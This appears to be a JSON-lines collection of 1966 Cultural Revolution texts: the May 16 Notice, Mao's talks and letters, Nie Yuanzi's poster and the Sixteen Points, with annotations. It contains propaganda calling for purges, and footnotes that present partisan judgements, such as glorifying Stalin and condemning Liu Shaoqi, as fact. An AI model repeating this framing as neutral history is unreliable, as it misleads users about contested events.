    {"text": "提纲却认为毛泽东思想还没有给我们开辟道路，而要重新开辟道路。 提纲是企图打着“在毛泽东思想的指引下”这个旗帜作为幌子，开辟一条同毛泽东思想相反的道路，即现代修正主义的道路，也就是资产阶级复辟的道路。 总之，这个提纲是反对把社会主义革命进行到底，反对以毛泽东同志为首的党中央的文化革命路线，打击无产阶级左派，包庇资产阶级右派，为资产阶级复辟作舆论准备。 这个提纲是资产阶级思想在党内的反映，是彻头彻尾的修正主义。"},
    {"text": "同这条修正主义路线作斗争，绝对不是一件小事，而是关系我们党和国家的命运，关系我们党和国家的前途，关系我们党和国家将来的面貌，也是关系世界革命的一件头等大事。"},
    {"text": "全党必须遵照毛泽东同志的指示，高举无产阶级文化革命的大旗，彻底揭露那批反党反社会主义的所谓“学术权威”的资产阶级反动立场，彻底批判学术界、教育界、新闻界、文艺界、出版界的资产阶级反动思想，夺取在这些文化领域中的领导权。"},
    {"text": "混进党里、政府里、军队里和各种文化界的资产阶级代表人物，是一批反革命的修正主义分子，一旦时机成熟，他们就会要夺取政权，由无产阶级专政变为资产阶级专政。"},
    {"text": "这些人物，有些已被我们识破了，有些则还没有被识破，有些正在受到我们信用，被培养为我们的接班人，例如赫鲁晓夫 〔3〕 那样的人物，他们现正睡在我们的身旁，各级党委必须充分注意这一点。"},
    {"text": "这个通知，可以连同中央今年二月十二日发出的错误文件 〔4〕 ，发到县委，文化机关党委和军队团级党委，请他们展开讨论，究竟哪一个文件是错误的，哪一个文件是正确的，他们自己的认识如何，有哪些成绩，有哪些错误。"},
    {"text": "〔1〕 文化革命五人小组及办事机构：一九六四年七月，中共中央成立了一个“五人小组”，在中央政治局、书记处领导下开展文化革命方面的工作，组长彭真（中共中央北京市委第一书记），副组长陆定一（国务院副总理，中宣部长兼文化部长），成员有康生（中共中央书记处书记），周扬（中宣部副部长），吴冷西（新华社社长兼《人民日报》社社长）。"},
    {"text": "一九六六年二月十二日，《文化革命五人小组关于当前学术讨论的汇报提纲》（后被称为《二月提纲》）批转全党时，才出现“文化革命五人小组”这个名词。"},
    {"text": "〔2〕 一九六二年党的八届十中全会关于社会主义社会阶级和阶级斗争问题的指导方针：指一九六二年九月二十四日至二十七日在北京举行的中共八届十中全会发布的公报，“八届十中全会指出，在无产阶级革命和无产阶级专政的整个历史时期，在由资本主义过渡到共产主义的整个历史时期（这个时期需要几十年，甚至更多的时间）存在着无产阶级和资产阶级之间的阶级斗争，存在着社会主义和资本主义这两条道路的斗争。"},
    {"text": "同时，社会上还存在着资产阶级的影响和旧社会的习惯势力，存在着一部分小生产者的自发的资本主义倾向，因此，在人民中，还有一些没有受到社会主义改造的人，他们人数不多，只占人口的百分之几，但一有机会，就企图离开社会主义道路，走资本主义道路。"},
    {"text": "” 〔3〕 赫鲁晓夫（一八九四——一九七一），曾任苏联党和国家主要领导人，斯大林生前吹捧斯大林是自己的“生身父亲”，斯大林去世后发布秘密报告，咒骂斯大林是“凶手”、“刑事犯”、“强盗”、“赌棍”、“伊凡雷帝式的暴君”、“俄国历史上最大的独裁者”、“混蛋”、“白痴”，全盘否定斯大林，并把斯大林的遗体从列宁墓中迁出。 斯大林领导社会主义阵营三十年，是公认的革命导师和领袖： 他领导苏联共产党和苏联人民，同国内外的一切敌人进行了坚决的斗争，保卫了并且巩固了世界上的第一个社会主义国家；"},
    {"text": "他领导苏联共产党和苏联人民，在国内坚持了社会主义工业化和农业集体化的路线，取得了社会主义改造和社会主义建设的伟大成就； 他领导苏联共产党、苏联人民和苏联军队，进行了艰苦卓绝的战斗，取得了反法西斯战争的伟大胜利； 他的一系列理论著作，是马克思列宁主义的不朽文献，对国际共产主义运动作出了不可磨灭的贡献，捍卫和发展了马克思列宁主义； 他领导的苏联党和政府，从总的方面来说，实行了符合无产阶级国际主义的对外政策，对世界各国人民的革命斗争给了巨大的援助，指导帮助了中国、朝鲜、越南、东欧等多个国家的革命斗争，建立了社会主义阵营。"},
    {"text": "从苏共第二十次代表大会开始，赫鲁晓夫提出了同十月革命道路根本对立的所谓“和平过渡”道路，也就是“通过议会的道路向社会主义过渡”。"},
    {"text": "通知附件：一九六五年九月到一九六六年五月文化战线上两条道路斗争大事记 一九六五年九月至十月间 毛主席早就觉察到吴晗的问题，是资产阶级代表人物向党向社会主义猖狂进攻的问题。 中央工作会议期间，毛主席在中央常委会议上（有各大区同志参加），从阶级斗争的观点出发，问彭真同志，吴晗是不是可以批判？"},
    {"text": "十一月十二日至二十六日 上海《解放日报》、浙江《浙江日报》、山东《大众日报》、江苏《新华日报》、福建《福建日报》、安徽《安徽日报》、江西《江西日报》先后都转载了姚文。"},
    {"text": "十一月二十八日 在周恩来同志的督促下，彭真同志被迫在人大会堂西大厅开会，讨论北京报纸转载姚文元同志文章的问题，有北京市委的同志和中央宣传部副部长周扬、许立群、姚溱等同志参加。"},
    {"text": "编者按语按照彭真同志的意见，只把这个问题作为学术问题来讨论，并且强调“即容许批评的自由，也容许反批评的自由”，没有表示支持姚文元同志文章。"},
    {"text": "十二月六日 《文汇报》、《解放日报》同时报道全国各报转载姚文元文章的情况，登载了《解放军报》、《北京日报》、《人民日报》和《光明日报》的编者按语，按发表先后把《解放军报》的编者按语登在前面。"},
    {"text": "十二月十二日 《北京日报》、《前线》发表邓拓的文章，署名向阳生，题为《从〈海瑞罢官〉谈到“道德继承沦”》，企图把对吴晗的批判，从政治问题拉到所谓道德继承的“学术”问题上去。"},
    {"text": "十二月二十六日、二十七日 上海市委同志向彭真同志汇报情况，谈到姚文元的文章是根据九月中央工作会议时毛主席指示发表的，彭真同志未置可否。"},
    {"text": "他为了辩解同“单干风”“翻案风”无关，提出了《海瑞罢官》是在《论海瑞》一文的基础上写的，而《论海瑞》是根据庐山会议精神反对右倾机会主义的。"},
    {"text": "一月六日 上海市委发出《关于讨论〈海瑞官罢〉问题的通知》，要求全市各级党组织重视这场大辩论，加强领导。 八日，召集全市党员干部会议，讲了要害问题是罢官，要求发动全党、工农兵群众参加讨论，从大辩论中提高认识，培养队伍。"},
    {"text": "一月八日 姚溱同志把一九六二年《宣教动态》八十八期刊登的庆云（即关锋）的一篇杂文《从陈贾说起》，送给彭真同志，为彭真同志整关锋同志提供材料。"},
    {"text": "一月十八日至二十七日 戚本禹同志打电话问许立群同志，批判吴晗政治要害问题的文章可否发表？ 许立群同志答复：攻要害的文章不止你一篇，别人还有，现在都不能发表。"},
    {"text": "关锋、戚本禹同志又把他们攻要害的文章送给彭真同志审查，彭真同志叫他的秘书打电话说，彭真同志工作很忙，最近要下乡，没有时间看文章。"},
    {"text": "另一种意见以康生同志为代表，指出根据毛主席的指示，同吴晗的斗争，是两个阶级、两条道路的斗争，要分清阶级界限，要保护关锋等左派同志，依靠他们组织我们的学术批判队伍，要把斗争的锋芒针对吴晗，要揭露吴晗的政治问题、要害问题，要联系庐山会议的阶级斗争背景来谈。"},
    {"text": "二月四日 许立群同志和姚溱同志，根据彭真同志自已的意见，在钓鱼台关起门来制造所谓“五人小组汇报提纲’，谁也不许进去，谁也不让知道，连对同住在一个楼里的所谓五人小组成员康生、吴冷西两位同志也严密封锁，不透露一点消息。"},
    {"text": "”在会上，叫不是“五人小组”成员的许立群同志口头汇报情况，彭真同志插了一些话，没有读“提纲”，没有提出“提纲”中的关键问题请常委讨论，也没有说要作为中央正式文件发给全党。"},
    {"text": "彭真同志否定解放以后毛主席亲自领导的各次对资产阶级意识形态的批判，他认为这些批判都是虎头蛇尾，没有结论，他说这次要做政治结论。 毛主席明确地反对和批驳了这种意见，指出对资产阶级意识形态的斗争，是长期的阶级斗争，绝不是匆促做一个政治结论就可以解决的。"},
    {"text": "但是，彭真同志根本不理睬毛主席的指示，滥用职权，搞了一个中央的批语，把这个“提纲’变成了中央的正式文件。 这个批语没有送给毛主席审阅，而彭真同志竟然用欺骗手法，打电话告诉常委同志，说文件已经毛主席同意，火速发给全党。"},
    {"text": "他们根本不传达毛主席反对他们收集左派材料、反对对左派进行“整风”、反对他们要仓促做政治结论的指示，讲了一套同毛主席指示完全对立的错误意见。"},
    {"text": "三月一日 在许立群同志指定专人整理并以他自己的名义发出的《学术批判问题座谈会讨论简况》中，吹嘘所谓“五人小组汇报提纲”是“学术界兴无灭资的纲领性文件”，是“思想斗争的二十三条”。"},
    {"text": "三月十一日 许立群同志向彭真同志汇报上海市委宣传部长杨永直同志请示“学阀”是否有所指，彭真同志叫许立群同志给杨永直同志打电话，就说我彭真说的：第一，学阀没有具体指是什么人，是阿Q，谁头上有疮疤就是谁。"},
    {"text": "三月二十八日至三月三十日 毛主席同康生同志谈了两次话，然后又同康生、赵毅敏、魏文伯、江青、张春桥等同志谈了一次话，批评所谓“五人小组汇报提纲”混淆阶级界限，不分是非。"},
    {"text": "毛主席说，一九六二年十中全会作出了进行阶级斗争的决议，为什么吴晗写了那么许多反动文章，中宣部都不要打招呼，而发表姚文元的文章却偏偏要跟中宣部打招呼呢？"},
    {"text": "四月一日 彭真同志在深夜向上海市委书记曹获秋同志打了两次电话，不是根据毛主席的指示向上海市委道歉，而是编造一套谎言，抵赖和掩饰自己的错误，推卸责任。"},
    {"text": "四月三日 总政治部刘志坚同志根据彭真同志的意见，于三月三十一日，代中央为《林彪同志委托江青同志召开的部队文艺工作座谈会纪要》起草了一个批语。 这个批语送给彭真同志后，刘志坚同志感到太一般化，于四月三日又代中央起草了第二个批语，增加了社会主义文化大革命的意义和重要性，毛主席一向十分重视文化战线上的阶级斗争，毛泽东文艺思想是社会主义文化革命的方向等重要内容。"},
    {"text": "四月五日 彭真同志召集十几个人开会，他在会上说：他在合作化、工商业改造、农村工厂四清、国际反修等方面，都不是落后分子，唯独在学术方面是落后分子。"},
    {"text": "四月七日 中宣部副部长林默涵同志在全国创作会议上作报告，在中央尚未正式批准《林彪同志委托江青同志召开的部队文艺工作座谈会纪要》之前，全面地剽窃了《纪要》的内容，并且作了严重的歪曲，为所谓三十年代的错误的文艺路线辩护。"},
    {"text": "康生同志系统地批评了彭真同志在这次学术批判中所犯的一系列严重错误。 陈伯达同志从民主革命和社会主义革命的问题上、从政治路线方面批评了彭真同志的一系列严重错误。"},
    {"text": "四月十日到十五日 彭真同志连续召集北京市委常委开会，匆匆忙忙地要所属各级党组织进行所谓对吴晗、邓拓、廖沫沙的批判，用假积极来掩护他们包庇坏人的错误。"},
    {"text": "四月十六日 毛主席召集政治局常委扩大会议，讨论彭真同志的错误，撤销所谓《文化革命五人小组的汇报提纲》，撤销原来的“文化革命五人小组”，重新设立文化革命小组等问题。"},
    {"text": "四月十六日 在彭真同志直接指挥下，北京市委在《北京日报》上，以三个版的篇幅，发表了吴晗、邓拓、廖沫沙三个人的材科，并且加了一个《北京日报》和《前线》的编者按语。"},
    {"text": "同胡志明的谈话——不搞清官贪官，搞文化大革命 同胡志明的谈话—— 不搞清官贪官，搞文化大革命 * （一九六六年六月十日） （一） 毛泽东：一切事物都是一分为二，对立统一。"},
    {"text": "马克思、恩格斯没有料到他们的接班人伯恩斯坦、考茨基成为反马克思主义者，他们创立和领导的党——德国社会民主党、法国社会党等，在他们死后，就成为资产阶级的党。"},
    {"text": "〔2〕 一八九五年恩格斯去世后，爱德华·伯恩斯坦打着发展马克思主义的旗号，发表大量理论文章，形成一套修正主义的理论体系，代表作是《社会主义的前提和社会民主党的任务》一书，对马克思主义的三个组成部分进行了全面的修正。 由于伯恩斯坦是以发展马克思主义的名义而对马克思主义进行全面“修正”的，所以，修正主义一词即由此而来。 此后，凡是披着马克思主义外衣，打着“发展”马克思主义的旗号而实际上则篡改马克思主义基本原理的机会主义思潮，都被称作修正主义。"},
    {"text": "在第一次世界大战前夕，考茨基在关于时代、战争与和平、无产阶级革命和无产阶级专政等一系列重大问题上，形成了一套完整的机会主义理论，成为当时国际共产主义运动的主要危险。"},
    {"text": "此事现在不能公开，整个左派和广大群众都是这样说的，公开就泼了他们的冷水，帮助了右派，而现在的任务是要在全党全国基本上（不可能全部）打倒右派，而且在七、八年以后还要有一次横扫牛鬼蛇神的运动，今后还要多次扫除，所以我的这些近乎黑话的话，现在不能公开，什么时候公开也说不定，因为左派和广大群众是不欢迎我这样说的。"},
    {"text": "但这二十年中，他从来没有统一过，国共两党的战争，国民党和各派军阀之间的战争，中日战争，最后是四年大内战，他就滚到一群海岛上去了。"},
    {"text": "〔2〕 魏、陈二同志：魏：魏文伯，时任中共上海市委书记、华东局书记。 陈：陈丕显，时任中共上海市委第一书记、华东局书记、兼上海警备区第一政委。"},
    {"text": "凡是镇压学生运动的人，都没有好下场 凡是镇压学生运动的人， 都没有好下场 * （一九六六年七月十九月） 五月二十五日聂元梓大字报 〔1〕 是二十世纪六十年代中国的巴黎公社宣言书，意义超过巴黎公社。"},
    {"text": "〔1〕 一九六六年五月二十五日下午二时许，北京大学哲学系聂元梓、宋一秀、夏剑豸、杨克明、赵正义、高云鹏、李醒尘七人，在大饭厅东墙上贴出了题为《宋硕、陆平、彭珮云在文化革命中究竟干些什么？"},
    {"text": "全文如下： 现在全国人民正以对党对毛主席无限热爱、对反党反社会主义黑帮无限愤怒的高昂革命精神掀起轰轰烈烈的文化大革命，为彻底打垮反动黑帮的进攻，保卫党中央，保卫毛主席而斗争，可是北大按兵不动，冷冷清清，死气沉沉，广大师生的强烈革命要求被压制下来，这究竟是怎么回事？"},
    {"text": "事情发生在五月八日发表了何明、高炬的文章，全国掀起了声讨“三家村”的斗争高潮之后，五月十四日陆平（北京大学校长、党委书记）急急忙忙的传达了宋硕（北京市委大学部副部长）在市委大学部紧急会议上的“指示”，宋硕说：现在运动“急切需要加强领导，要求学校党组织加强领导，坚守岗位。"},
    {"text": "”“群众起来了要引导到正确的道路上去”，“这场意识形态的斗争，是一场严肃的阶级斗争，必须从理论上彻底驳倒反党反社会主义的言论。 坚持讲道理，方法上怎样便于驳倒就怎样作，要领导好学习文件，开小组讨论会，写小字报，写批判文章，总之，这场严肃的斗争，要做的很细致，很深入，彻底打垮反党反社会主义的言论，从理论上驳倒他们，绝不是开大会所能解决的。 ”“如果群众激愤要求开大会，不要压制，要引导开小组会，学习文件，写小字报。"},
    {"text": "” 陆平和彭珮云（北京市委大学部干部、北京大学党委副书记）完全用同一腔调布置北大的运动，他们说：“我校文化革命形势很好”，五月八日以前写了一百多篇文章，运动是健康的……运动深入了要积极引导。 ”“现在急切需要领导，引导运动向正确的方向发展”，“积极加强领导才能引向正常的发展”，“北大不宜贴大字报”，“大字报不去引导，群众要贴，要积极引导”等等。"},
    {"text": "不久前，你们不是亲自“指导”法律系同志查了一千五百卷书，一千四百万字的资料来研究一个海瑞“平冤狱”的问题，并大肆推广是什么“方向正确，方法对头”，要大家学习“好经验”吗？"},
    {"text": "党中央毛主席早已给我们指出的文化革命的正确道路、正确方向，你们闭口不谈，另搞一套所谓“正确的道路”，“正确的方向”，你们想把革命的群众运动纳入你们的修正主义轨道，老实告诉你们，这是妄想！"},
    {"text": "反击向党向社会主义向毛泽东思想猖狂进攻的黑帮，这是一场你死我活的阶级斗争，革命人民必须充分发动起来，轰轰烈烈、义愤声讨，开大会，出大字报就是最好的一种群众战斗形式。"},
    {"text": "你们大喊，要“加强领导，坚守岗位”，这就暴露了你们的马脚。 在革命群众轰轰烈烈起来响应党中央和毛主席的号召，坚决反击反党反社会主义黑帮的时候，你们大喊：“加强领导，坚守岗位”。 你们坚守的是什么“岗位”，为谁坚守“岗位”，你们是些什么人，搞的什么鬼，不是很清楚吗？"},
    {"text": "让我们团结起来，高举毛泽东思想的伟大红旗，团结在党中央和毛主席的周围，打破修正主义的种种控制和一切阴谋鬼计，坚决、彻底、干净、全部地消灭一切牛鬼蛇神、一切赫鲁晓夫式的反革命的修正主义分子，把社会主义革命进行到底。"},
    {"text": "哲学系：聂元梓、宋一秀、夏剑豸、杨克明、赵正义、高云鹏、李醒尘 一九六六年五月二十五日 〔2〕 一九六六年六月三日，刘少奇、邓小平主持召开中央政治局扩大会议，决定把北京市所有中学的“文化大革命”运动交给团中央领导，要团中央派出工作组，以便领导运动。"},
    {"text": "〔3〕 “内外有别”：一九六六年六月三日，刘少奇主持召开中央政治局常委扩大会议，议出八条指示：“八条指示的主要内容是：一，大字报要贴在校内；"},
    {"text": "工作组要撤，文化革命要依靠革命师生 工作组要撤， 文化革命要依靠革命师生 * （一九六六年七月二十四日） 开两个会，一个是大区书记参加的中央工作会，另一个是起草文化大革命文件的会。 讲了一些文化大革命的工作，主要讲工作组要撤，要改变派工作组的政策。"},
    {"text": "（陈伯达：当前抓运动的人有这么几个理论和方针，他们把放手发动群众和党的领导绝对对立起来，认为强调放手发动群众，就是不要党的领导。"},
    {"text": "你搞了一二个月了，却一点感性认识都没有，你去就是叫围嘛，广播学院、北师大打人问题，有人怕挨打，叫工作组保护自己，怕什么，没有死人嘛！"},
    {"text": "〔1〕 一九六六年五月二十五日下午二时许，北京大学哲学系聂元梓、宋一秀、夏剑豸、杨克明、赵正义、高云鹏、李醒尘七人，在大饭厅东墙上贴出了题为《宋硕、陆平、彭珮云在文化革命中究竟干些什么？"},
    {"text": "〔2〕 翦伯赞：历史学家，时任北大副校长，著述颇多，主编：《中国史纲要》《中国古代史教学参考资料》《中国近代史资料丛刊》，著作：《中国历史哲学教程》《对处理若干历史问题的初步意见》《目前史学研究中存在的几个问题》《中国史论集》《中国史纲》《历史问题论丛》《先秦史》《秦汉史》等，合著：《中国历史概要》。"},
    {"text": "曾出席中共一大代表大会，后因故脱党，但仍坚持研究马克思主义，一九四八年底，李达接毛泽东信函，“吾兄系本公司发起人之一，现公司生意兴隆，望速前来参予经营。"},
    {"text": "给清华大学附属中学红卫兵的信 给清华大学附属中学 红卫兵的信 * （一九六六年八月一日） 清华大学附属中学红卫兵同志们： 你们在七月二十八日寄给我的两张大字报 〔1〕 以及转给我要我回答的信，都收到了。你们在六月二十四日和七月四日的两张大字报，说明对一切剥削压迫工人、农民、革命知识分子和革命党派的地主阶级、资产阶级、帝国主义、修正主义和他们的走狗，表示愤怒和申讨，说明对反动派造反有理，我向你们表示热烈的支持。同时我对北京大学附属中学红旗战斗小组说明对反动派造反有理的大字报和由彭小蒙同志 〔2〕 于七月二十五日在北京大学全体师生员工大会上，代表她们红旗战斗小组所作的很好的革命演说，表示热烈的支持。在这里，我要说，我和我的革命战友，都是采取同样态度的。不论在北京，在全国，在文化大革命运动中，凡是同你们采取同样革命态度的人们，我们一律给予热烈的支持。还有，我们支持你们，我们又要求你们注意争取团结一切可以团结的人们。对于犯有严重错误的人们，在指出他们的错误以后，也要给以工作和改正错误重新作人的出路。马克思说，无产阶级不但要解放自己，而且要解放全人类。如果不能解放全人类，无产阶级自己就不能最后地得到解放。这个道理，也请同志们予以注意。 注 释 * 这是毛泽东同志准备答复红卫兵的信没有发出但作为八届十一中全会文件印发了。 〔1〕 指清华大学附属中学的红卫兵组织写的六月二十四日的《无产阶级的革命造反精神万岁》和七月四日的《再论无产阶级的革命造反精神万岁》，表示造反有理，要一反到底。七月二十八日，清华附中红卫兵举行海淀区中学革命师生代表大会，把他们写的“论革命造反精神”的大字报和给毛泽东的信交给出席大会的江青，请她转交，并请毛泽东对他们的观点及与工作组的争论作指示。 〔2〕 彭小蒙：北京大学附属中学红卫兵组织“红旗战斗小组”的负责人之一，她在一九六六年七月二十五日的北京大学全体师生大会上，发表了批判工作组的演讲。"},
    {"text": "不许镇压学生运动 不许镇压学生运动 * （一九六六年八月四日） 在前清时代，以后是北洋军阀，后来是国民党，都是镇压学生运动的。现在到共产党也镇压学生运动 〔1〕 。这与陆平、蒋南翔 〔2〕 有什么分别？！ 中央自己违背自己命令。中央下令停课半年，专门搞文化大革命，等到学生起来了，又镇压他们。不是没有人提过不同意见，就是听不进；另一种意见却是津津有味。说得轻一些，是方向性的问题，实际上是方向问题，是路线问题，是路线错误，违反马克思主义的。这次会议要解决问题，否则很危险。 自己下命令要学生起来革命，人家起来了又加以镇压。所谓走群众路线，所谓相信群众，所谓马列主义等等都是假的。已经是多年如此，凡碰上这类的事情，就爆发出来。明明白白站在资产阶级方面反对无产阶级。说反对新市委就是反党，新市委镇压学生群众，为什么不能反对？！ 我是没有下去蹲点的。有人越蹲越站在资产阶级方面反对无产阶级。规定班与班、系与系、校与校之间一概不许来往，这是镇压，是恐怖，这个恐怖来自中央。有人对中央对“六·一八”的批语 〔3〕 有意见，说不好讲。 北大聂元梓等七人的大字报，是二十世纪六十年代的巴黎公社宣言——北京公社。贴大字报是很好的事，应该给全世界人民知道嘛！而雪峰 〔4〕 报告中却说“党有党纪，国有国法，要内外有别，大字报不要贴在大门外给外国人看见。”其实除了机密的地方，例如国防部、公安部等不让外人去看以外，其他地方有什么要紧？在无产阶级专政条件下，也允许群众请愿、示威游行和告状。而且言论、集会、结社、出版自由，是写在宪法上的。从这次镇压学生群众文化大革命的行动看来，我不相信（现在的中央）有真正民主、真正马列主义，而是站在资产阶级方面反对无产阶级文化大革命。 团中央，不仅不支持青年学生运动，反而镇压学生运动，应严格处理。 注 释 * 这是毛泽东同志在中央常委扩大会议上的讲话节选。 〔1〕 一九六六年六月初到七月底的五十多天中，刘少奇、邓小平主持中央工作，以历来的官办政治运动的方式搞文革运动，方法包括：派工作组、给群众进行“左、中、右”排队、把敢于给领导提意见的人打成“右派”、“反革命”、整他们的黑材料等等，在全国各地发生了如西安交大六·六事件、清华大学六·七事件、广西六·八事件、北京地院六·二〇事件、北师大六·二〇事件、林院《谈话纪要》事件等学生与工作组对抗、工作组和党委镇压学生的普遍现象。仅清华大学就有800多学生被打成“反革命”。 〔2〕 陆平，原任北京大学校长、党委书记。蒋南翔，原任清华大学校长、党委书记。两人都镇压本校的文化革命运动。 〔3〕 “六·一八”：一九六六年六月十八日，上午九点到十一点，北大工作组正在开会，群众离开工作，揪斗了四十多名校领导人和教授，有些粗暴行动。工作组制止了他们，“明确指出避开工作组乱打乱斗的做法是有害于革命运动的行为，并指出这种做法会被而且已经被坏人利用。”并规定今后“斗争人要经过工作组批准”，见《北京大学文化革命简报（第九号）》。 一九六六年六月二十日，主持中央工作的刘少奇加批语后转发各地：“现将北京大学文化革命简报（第九号）发给你们，中央认为北大工作组处理乱斗的办法是正确的，及时的。各单位如果发生这种现象，都可参照北大的办法处理。” 〔4〕 雪峰：李雪峰，时任北京市委第一书记。聂元梓等七人大字报贴出来后，李雪峰当晚赶到北大，随后召开会议指出：“北大出现了故意泄密的大字报，我很不满意。文化大革命不是你想怎么胡来就怎么胡来，而要在各级党委的领导下，有步骤地进行。贴大字报也要经过批准才行，不要把内部和外部问题的大字报都贴在一起，党内问题贴大字报，涉及到党和国家机密的，不要在外面张贴，要内外有别嘛。”“党有党纪，国有国法，我们搞文化革命不是乌合之众，不能乱七八糟，北大要组织好，炮火要猛，要打中要害，但要有组织，北大的党委要把运动领导好。”并把讲话稿上报中央。"},
    {"text": "炮打司令部——我的一张大字报 炮打司令部—— 我的一张大字报 * （一九六六年八月五日） 全国第一张马列主义大字报和人民日报评论员的评论 〔1〕 ，写得何等好啊！"},
    {"text": "可是在五十多天里 〔2〕 ，从中央到地方的某些领导同志，却反其道而行之，站在反动的资产阶级立场，实行资产阶级专政，将无产阶级轰轰烈烈的文化大革命运动打下去，颠倒是非，混淆黑白，围剿革命派，压制不同意见，实行白色恐怖，自以为得意，长资产阶级的威风，灭无产阶级的志气，又何其毒也！"},
    {"text": "〔1〕 全国第一张马列主义大字报和人民日报评论员的评论：一九六六年六月二十五日，北京大学聂元梓等七人贴出反对北大党委的大字报《宋硕、陆平、彭佩云在文化大革命中究竟干了些什么》。 经毛泽东的同意，该大字报于一九六六年六月一日在全国广播，六月二日《人民日报》全文刊登，并加了评论员的评论《欢呼北大的一张大字报》，全文如下： 聂元梓等同志的大字报，揭穿了“三家村”黑帮分子的一个大阴谋！"},
    {"text": "为陆平、彭珮云等人多年把持的北京大学，是“三家村”黑帮的一个重要据点，是他们反党反社会主义的顽固堡垒。 已经到了五月十四日，陆平还传达北京市委大学部副部长宋硕的所谓紧急指示，并手忙脚乱地进行部署，欺骗、蒙蔽和压制广大青年学生和革命干部、革命教师，不许他们响应毛主席和党中央的号召起来革命，彭珮云是一个神秘人物，上窜下跳，拉线搭桥。"},
    {"text": "陆平以北京大学“党委书记”的身份，以“组织”的名义，对起来革命的学生和干部，进行威吓，说什么不听从他们这一撮人的指挥就是违犯纪律，就是反党。"},
    {"text": "毛主席关于社会主义社会阶级和阶级斗争的学说，关于在意识形态领域中兴无灭资的无产阶级文化大革命的指示，是我们必须坚决遵循的。 凡是反对毛主席，反对毛泽东思想，反对毛主席和党中央的指示的，不论他们打着什么旗号，不管他们有多高的职位、多老的资格，他们实际上是代表被打倒了的剥削阶级的利益，全国人民都会起来反对他们，把他们打倒，把他们的黑帮、黑组织、黑纪律彻底摧毁。"},
    {"text": "工农兵和无产阶级的文化战士，在党中央和毛主席的领导下，以排山倒海之势，正在一个一个地夺取反革命的文化阵地，摧毁反革命的文化堡垒。"},
    {"text": "〔2〕 五十多天，资产阶级专政：一九六六年六月三日，中共中央在刘少奇、邓小平主持下，决定向北京的大学和中学派出工作组，领导各单位的“文化大革命”。 刘少奇制订了《中央八条》，包括“内外有别”等政策，限制和镇压学生的自发运动，在全国各地发生了如西安交大六·六事件、清华大学六·七事件、广西六·八事件、北京地院六·二〇事件、北师大六·二〇事件、林院《谈话纪要》事件等学生与工作组对抗、工作组将学生打成反革命的现象。 一九六六年七月二十四日毛泽东返回北京后召集中央常委和中央文革小组开会，批评了刘少奇、邓小平，做出了撤销工作组的决定。"},
    {"text": "〔3〕 一九六二年的右倾：一九六二年在“七千人大会”上和一系列政策制订中，刘少奇等执行了经济、文化方面的“调整、恢复、宽松”等右倾路线。"},
    {"text": "〔4〕 一九六四年的形“左”而实右：指一九六四年刘少奇制订的四清《后十条》提出“四清四不清的矛盾”、整肃农村基层干部的形“左”实右的路线。"},
    {"text": "中国共产党中央委员会关于无产阶级文化大革命的决定 中国共产党中央委员会 关于无产阶级文化大革命的决定 * （一九六六年八月八日） 一、社会主义革命的新阶段 当前开展的无产阶级文化大革命，是一场触及人们灵魂的大革命，是我国社会主义革命发展的一个更深入、更广阔的新阶段。"},
    {"text": "无产阶级恰恰相反，必须迎头痛击资产阶级在意识形态领域里的一切挑战，用无产阶级自己的新思想，新文化，新风俗，新习惯，来改变整个社会的精神面貌。"},
    {"text": "在当前，我们的目的是斗跨走资本主义道路的当权派，批判资产阶级的反动学术“权威”，批判资产阶级和一切剥削阶级的意识形态，改革教育，改革文艺，改革一切不适应社会主义经济基础的上层建筑，以利于巩固和发展社会主义制度。"},
    {"text": "党中央对各级党委的要求，就是要坚持正确的领导，“敢”字当头，放手发动群众，改变那种处于软弱无能的状态，鼓励那些有错误而愿意改正的同志放下包袱，参加战斗，撤换那些走资本主义道路的当权派，把那里的领导权夺回到无产阶级革命派手中。"},
    {"text": "这样，才能够在运动中，彻底孤立最反动的右派，争取中间派，团结大多数，经过运动，最后达到团结百分之九十五以上的干部，团结百分之九十五以上的群众。 集中力量打击一小撮极端反动的资产阶级右派分子、反革命修正主义分子，充分地揭露和批判他们的反党反社会主义反毛泽东思想的罪行，把他们最大限度地孤立起来。"},
    {"text": "注意把反党反社会主义的右派分子，同拥护党和社会主义，但也说过一些错话，作过一些错事或写过一些不好文章不好作品的人，严格区别开来。 注意把资产阶级的反动学阀、反动“权威”，同具有一般的资产阶级学术思想的人，严格区别开来。"},
    {"text": "六、正确处理人民内部矛盾 必须严格分别两类不同性质的矛盾：是人民内部矛盾，还是敌我矛盾？ 不要把人民内部矛盾搞成敌我矛盾，也不要把敌我矛盾搞成人民内部矛盾。"},
    {"text": "七、警惕有人把革命群众打成“反革命” 有些学校、有些单位、有些工作组的负责人，对给他们贴大字报的群众，组织反击，甚至提出所谓反对本单位或工作组领导人就是反对党中央，就是反党反社会主义，就是反革命等类口号。"},
    {"text": "有些有严重错误思想的人们，甚至有些反党反社会主义的右派分子，利用群众运动中的某些缺点和错误，散布流言蜚语，进行煽动，故意把一些群众打成“反革命”。"},
    {"text": "在运动中，除了确有证据的杀人、放火、放毒、破坏、盗窃国家机密等现行反革命分子，应当依法处理外，大学、专科学校、中学和小学学生中的问题，一律不整。 为了防止转移斗争的主要目标，不许用任何借口，去挑动群众斗争群众，挑动学生斗争学生，即使是真正的右派分子，也要放到运动的后期酌情处理。"},
    {"text": "九、文化革命小组、文化革命委员会、文化革命代表大会 无产阶级文化大革命运动中，开始涌现了许多新事物。 在许多学校、许多单位，群众所创造的文化革命小组、文化革命委员会等组织形式，就是一种有伟大历史意义的新事物。 文化革命小组、文化革命委员会、文化革命代表大会是群众在共产党领导下自己教育自己的最好的新组织形式。"},
    {"text": "在学校中，文化革命小组、文化革命委员会、文化革命代表大会，应该以革命学生为主体，同时，要有一定数量的革命教师职工的代表参加。 十、教学改革 改革旧的教育制度，改革旧的教育方针和方法，是这场无产阶级文化大革命的一个极其重要的任务。"},
    {"text": "在各类学校中，必须彻底贯彻执行毛泽东同志提出的教育为无产阶级政治服务、教育与生产劳动相结合的方针，使受教育者在德育、智育、体育几方面都得到发展，成为有社会主义觉悟的有文化的劳动者。"},
    {"text": "十一、报刊上点名批判的问题 在进行文化革命群众运动的时候，必须把对无产阶级世界观的传播，对马克思列宁主义、毛泽东思想的传播，同对资产阶级和封建阶级的思想批判很好地结合起来。 要组织对那些有代表性的混进党内的资产阶级代表人物和资产阶级的反动学术“权威”，进行批判，其中包括对哲学、历史学、政治经济学、教育学、文艺作品、文艺理论、自然科学理论等战线上的各种反动观点的批判。 在报刊上点名批判，应当经过同级党委讨论，有的要报上级党委批准。"},
